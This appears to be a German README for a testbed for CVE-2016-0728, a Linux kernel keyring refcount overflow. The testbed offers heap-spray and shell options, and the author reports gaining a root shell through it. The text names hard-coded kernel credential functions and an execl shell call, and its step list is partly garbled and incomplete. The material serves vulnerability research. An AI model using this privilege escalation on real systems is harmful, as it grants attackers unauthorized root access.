
Ein Testbed für CVE-2016-0728, einen Refcount-Leck/Überlauf-Fehler in Linux
Dieses Repository enthält ein Testprogramm für CVE-2016-0728, einen Refcount-Leak und Overflow-Bug in Linux, der zu einem Use-After-Free führt.
Der Bug wurde von Perception Point gefunden und erklärt. Ich bin nicht mit ihnen verbunden.
Welcome to the CVE-2016-0728 testbed
sizeof(struct msg_msg) == 0x30, sizeof(struct key) == 0xb8
PID: 27673, UID: (1000/1000)
Keyring: 1b66e5d6, "test-1a328d6e"
Usage: 1
Press a key: (f)ork (i)ncref (a)uto-incref (r)evoke (h)eap-spray (s)hell (q)uit
Auf meinem Testsystem konnte eine Root-Shell wie folgt erlangt werden:
revoke auf.execl("/bin/sh", "sh", NULL)Ich fand es nützlich, watch -n0.1 cat /proc/keys auszuführen, um zu sehen, was passiert.
Dieser Code wurde nur auf x86-64 getestet, sollte aber auch auf anderen Architekturen laufen, da ich keine magischen Offsets verwendet habe, sondern die Strukturdefinitionen aus den Linux-Headern kopiert und sizeof verwendet habe (außer dass ich die Adressen von prepare_kernel_cred und commit_creds fest codiert habe).